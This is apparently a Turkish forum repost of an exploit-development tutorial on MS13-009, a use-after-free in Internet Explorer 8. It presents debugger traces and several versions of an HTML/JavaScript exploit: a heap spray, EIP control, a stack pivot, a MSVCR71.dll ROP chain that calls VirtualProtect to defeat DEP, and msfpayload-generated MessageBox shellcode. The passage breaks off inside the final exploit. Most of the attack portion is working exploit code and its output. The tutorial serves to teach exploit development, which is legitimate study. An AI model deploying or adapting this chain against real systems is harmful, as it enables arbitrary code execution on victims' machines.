eax=0c0c0c0c ebx=00205fb0 ecx=024c0018 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????

0:008> d ebx
00205fb0  18 00 4c 02 00 00 00 00-4d 20 ff ff ff ff ff ff  ..L.....M ......
00205fc0  51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  Q...............
00205fd0  00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00  ........R.......
00205fe0  00 00 00 00 00 00 00 00-00 00 00 00 50 f7 4c 02  ............P.L.
00205ff0  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00206000  78 0b a8 ea 00 01 0c ff-f8 1c 4e 02 70 57 20 00  x.........N.pW .
00206010  71 02 02 00 01 00 00 00-71 01 00 00 01 00 00 00  q.......q.......
00206020  80 57 20 00 48 5b 20 00-80 57 20 00 30 60 20 00  .W .H[ ..W .0` .

0:008> d ecx
024c0018  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0028  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0038  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0048  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0058  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0068  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0078  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
024c0088  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................

0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]      /// eax = 0x0c0c0c0c
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]  /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2            call    edx                      /// call DWORD 0x0c0c0c7c



0x0c0c0c7c bellekte o anda geçerli olmayan geçerli bir konumsa, bu direktif dizisi 0x0c0c0c7c (= EIP) DWORD kıymetini çağırarak sona erecektir. Yığın spreyimizin shellcode değişkenini 0x0c0c0c0c'ye hizalamak için ayarlandığını unutmayın, bunun niçin lüzumlu bulunduğunu sonrasında göreceğiz. EIP'yi istediğimiz değere ayarlayabileceğimizi unutmayın, mesela 0xaaaaaaaa'nın DWORD değeri. Bu, EAX'in üstüne 0xaaaaaaaa-0x70 = 0xaaaaaa3a ile yazılarak elde edilebilir. Aşağıda bunun bir örneğini görebilirsiniz.



Kod:
<!doctype html>
<html>
<head>
<script>
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = ********.createElement('div');
            objArray[i].className = data += unescape("%uaaaa%uaa3a"); //Will set edx to DWORD 0xaaaaaaaa [EIP]
        }
  
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>



Şimdi 0xaaaaaaaa ile EIP'nin üstüne yazacağımızı doğrulamak için hata ayıklayıcıya bir göz atalım.



Kod:
0:019> g
(8cc.674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=aaaaaa3a ebx=002060a8 ecx=024c00c8 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:aaaaaaaa=????????

0:019> d ecx
024c00c8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00d8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00e8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c00f8  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0108  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0118  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0128  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................
024c0138  3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa  ................



MS13-009 Kod Yürütmesi


Oldukça iyi yol kat ettik! Şimdiye kadar yaptığımız işleri bir araya getirerek kod yürütme yolculuğumuza başlayabiliriz. İlk iş emri, spreyimizi içeren ve emniyet açığını tetikleyen yeni POC'umuzu oluşturmaktır.



Kod:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = ********.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>



Aşağıdaki monitör görüntüsünden, 0x90909090 ile EIP'nin üstüne yazdığımızı görebiliriz, bunun sebebi, EIP'nin kıymetini 0x0c0c0c0c + 0x70 = 0x0c0c0c7c adresinde bulunan ve nopslide'a işaret eden DWORD'den almasıdır.



xZypxA.png




Bu, ilk bakışta birazcık kafa karıştırıcı görünebilir, ümit ederim aşağıdaki sunum işleri netleştirmeye destek olur!



Kod:
mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]      /// eax = 0x0c0c0c0c
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]  /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2            call    edx                      /// call DWORD 0x0c0c0c7c


 ________________________
|                        |
|        Padding         |
|                        |
|                        |
|                        |
|                        |
|                        |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode 
|       Shellcode        |     variable.
|------------------------|
|                        |
|                        |
|         NOP's          |
|                        |
|                        | <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this 
|                        |     address, in this case 0x90909090.
|                        |
|                        |
|                        |
|                        |
|                        |
|     (0x1000 Block)     |
|________________________|



EIP'nin tam olarak üstüne yazabilmemiz için shellcode değişkenimizi doldurmayı deneyelim. Bunu, ön plana çıkmayan ASCII dizgimizi 0x70 hex (112 bayt = 28 DWORD) arabellek uzunluğu ile ilave ederek yapabiliriz.



Kod:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+   // Padding 0x70 hex!
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = ********.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>



Beklendiği şeklinde artık EIP üstünde tam kontrole sahibiz. Bir hatırlatma olarak, EIP'deki kıymet Little Endian'da.



xZy18S.png




0x1000 hex bloğumuzun yeni düzeni aşağıdaki gibidir.



Kod:
 ________________________
|                        |
|        Padding         |
|                        |
|                        |
|                        |
|                        |
|                        |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode 
|                        |     variable.
|                        |
|       Shellcode        |
|                        |
|                        |
|                        |
|---------[EIP]----------| <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this 
|                        |     address.
|                        |
|         NOP's          |
|                        |
|                        |
|                        |
|     (0x1000 Block)     |
|________________________|



Tamam, mükemmel! Şimdi bir sonraki engelimizle yüzleşmeliyiz. ROP zincirimiz ve shellcode yığın üstünde yer alacaktır, sadece yığın işaretçimiz (= ESP) mshtml arasında bir yeri işaret edecektir. Yürüttüğümüz herhangi bir ROP aygıtı yığındaki sonraki adrese dönecektir, bundan dolayı yığını mshtml'den grup üstünde test ettiğimiz alana (0x1000 bayt bloğumuz) döndürmemiz gerekir. EAX'ın tam olarak shellcode değişkenimizin başlangıcına işaret ettiğini hatırlayacağınız şeklinde, EAX'i ESP'ye taşıyan yada değiştiren bir ROP aygıtı bulursak, yığını döndürüp ROP zincirimizi 0x0c0c0c0c'de çalıştırmaya başlayabiliriz.

Java6 ile paketlenmiş olarak gelen ve Internet Explorer tarafınca otomatikman yüklenen MSVCR71.dll'deki ROP gadget'larını kullanacağım. Aşağıya mona tarafınca açılan iki metin dosyası ekledim: (1) tematik olarak düzenlenmiş ROP gadget'larının listesini içeren MSVCR71_rop_suggestions.txt ve (2) ROP gadget'larının ham bir listesini içeren M SVCR71_rop.txt. Onlarla oynamak istiyorsanız, dosyaları indirmenizi ve düzgüsel ifadelerle ayrıştırmanızı öneririm.

MSVCR71_rop_suggestions.txt – buradan
MSVCR71_rop.txt - buradan

Metin dosyasını ayrıştırarak ihtiyacımız olan aracı kolayca bulabiliriz, POC'umuzu değiştirelim ve her şeyin beklendiği şeklinde çalıştığını doğrulayalım.



Kod:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u4242%u4242'+  // EIP will be overwritten with 0x42424242 (= BBBB)
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+  
    '%u8b05%u7c34'); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = ********.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>



Aşağıdaki monitör görüntülerinden XCHG EAX, ESP'de kesme noktamıza ulaştığımızı görebiliriz ve yürütme akışına devam edersek yığını başarıya ulaşmış bir biçimde döndürür ve 0x0c0c0c0c'de ilk DWORD'u çalıştırmaya çalışırız.



xZy2Ls.png




xZyW0t.png








 

Provido

Katılımcı Üye
21 Eki 2015
477
1
Neredeyse hallettik. Şimdi, bir hafıza bölgesi için DEP'yi dönem dışı bırakan bir ROP zinciri yürütmemiz gerekiyor, böylece ikinci bir sahne payloadı yürütebiliriz. Neyse ki MSVCR71.dll, saldırganlar tarafınca onlarca kere kötüye kullanıldı ve bu dll için corelanc0d3r tarafınca açılan optimize edilmiş bir ROP zinciri aslına bakarsanız mevcut. Bu ROP zincirini POC'umuza ekleyelim ve istismarı yine çalıştıralım.

Kod:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
     
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff : 
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll] 
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll] 
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll] 
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll] 
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll] 
    "%ub001%u7c38" + // 0x7c38b001 : &Writable ******** [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll] 
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
     
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
     
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = ********.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>



Ekran görüntülerinden, yığını döndürdükten sonrasında ilk gadget'ımıza çarptığımızı ve VirtualProtect'i aradıktan sonrasında artık çöplerimize ulaştığımızı görebiliyoruz.



xZy35c.png




xZy8GR.png




Şimdi geriye kalan tek şey, ilk EIP üstüne yazmamızın (XCHG EAX, ESP # RETN) üstünden atlayan önemsiz arabelleğimizin sonuna kısa bir atlama eklemek. Kısa atlamamızdan sonrasında yerleştirdiğimiz herhangi bir shellcode çalıştırılacaktır!



Kod:
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
     
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff : 
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll] 
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll] 
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll] 
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll] 
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll] 
    "%ub001%u7c38" + // 0x7c38b001 : &Writable ******** [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll] 
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
     
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
     
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = ********.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>



Kısa atlamamızı yaptıktan sonrasında, eskiden EIP olanın derhal sonrasına iniyoruz ve kendi seçtiğimiz herhangi bir shellcode yürütmekte özgürüz!



xZyFrN.png




Shellcode + Oyun Bitti


Kolay parçayı oluşturma zamanı, birazcık shellcode oluşturalım!



Kod:
root@Trident:~# msfpayload windows/messagebox O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 0
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 270
       Rank: Normal

Provided by:
  corelanc0d3r <[email protected]>
  jduck <jduck@****sploit.com>

Basic options:
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  process           yes       Exit technique: seh, thread, process, none
ICON      NO                yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
TITLE     MessageBox        yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text & 
  icon


root@Trident:~# msfpayload windows/messagebox text='Bang, bang!' title='b33f' R| msfencode -t js_le
[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)

%ud1bb%u6f46%ud9e9%ud9c7%u2474%u5af4%uc931%u40b1%uc283%u3104%u115a%u5a03%ue211%u9f24%u7284
%u541f%u717f%u47ae%u0ecd%uaee1%u7a56%u0170%u0a1c%uea7e%uef54%uaaf5%u8490%u1377%uac2a%u1cbf
%ua434%ufb4c%u9745%u1d4d%u9c25%ufadd%u2982%u3f58%u7940%u474a%u6857%ufd01%ue74f%u224f%u1c71
%u168c%u6938%udc66%u83bb%u1db7%u9b8a%u4d4b%udb69%u89c7%u13b3%u972a%u47f4%uacc0%ub386%ua600
%u3797%u6c0a%ua359%ue7cc%u7855%ua29b%u7f79%ud970%uf486%u3687%u4e0f%udaa3%u8c71%uea19%uc658
%u0ed4%u2413%u5e8e%ua76a%u0da2%u289b%u4dc5%udea4%ub67c%u9fe0%u54a6%ue765%ubd4a%u0fd8%u42fc
%u3023%uf889%ua7d4%u6ee5%u76c5%u5d9d%u5737%uca39%ud442%u78a4%u4625%u7702%u91bc%u781c%u59eb
%u4429%ud944%ueb81%ua128%uf756%u8b96%u69b0%ud428%u02bf%u0b8e%uf31f%u2e46%uc06c%u9ff0%uae49
%ufba1%u2669%u6cba%u5f1f%u351c%ub3b7%ua77e%ua426%u463c%u53c6%u41f0%ud09e%u5ad6%u0917%u8f27
%u9975%u7d19%ucd86%u41ab%u1128%u499e



Tamam şimdi POC'umuzu temizleyelim, yorumlar ekleyelim ve son istismarı çalıştıralım. Bu emniyet açığının birtakım güvenilirlik sorunları bulunduğunu yine belirtmek isterim (yalnızca zamanın %80'inde muntazam bir biçimde tetikler), herhangi birinin bu mevzuda herhangi bir girdisi var ise lütfen aşağıya bir yorum bırakın.



Kod:
<!-----------------------------------------------------------------------------
// Exploit: MS13-009 Use-After-Free IE8 (DEP)                                //
// Author: b33f - http://www.fuzzysecurity.com/                              //
// OS: Tested on XP PRO SP3                                                  //
// Browser: Internet Explorer 8.00.6001.18702                                //
//---------------------------------------------------------------------------//
// This exploit was created for Part 9 of my Exploit Development tutorial    //
// series => http://www.fuzzysecurity.com/tutorials/expDev/11.html           //
------------------------------------------------------------------------------>
 
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
     
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff : 
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll] 
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll] 
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll] 
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll] 
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll] 
    "%ub001%u7c38" + // 0x7c38b001 : &Writable ******** [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll] 
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
     
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
     
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34" + // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
     
    //--------------------------------------------------[shellcode]-//
    // js Little Endian Messagebox => "Bang, bang!"
    //--------------------------------------------------------------//
    "%ud1bb%u6f46%ud9e9%ud9c7%u2474%u5af4%uc931%u40b1%uc283%u3104%u115a%u5a03%ue211" +
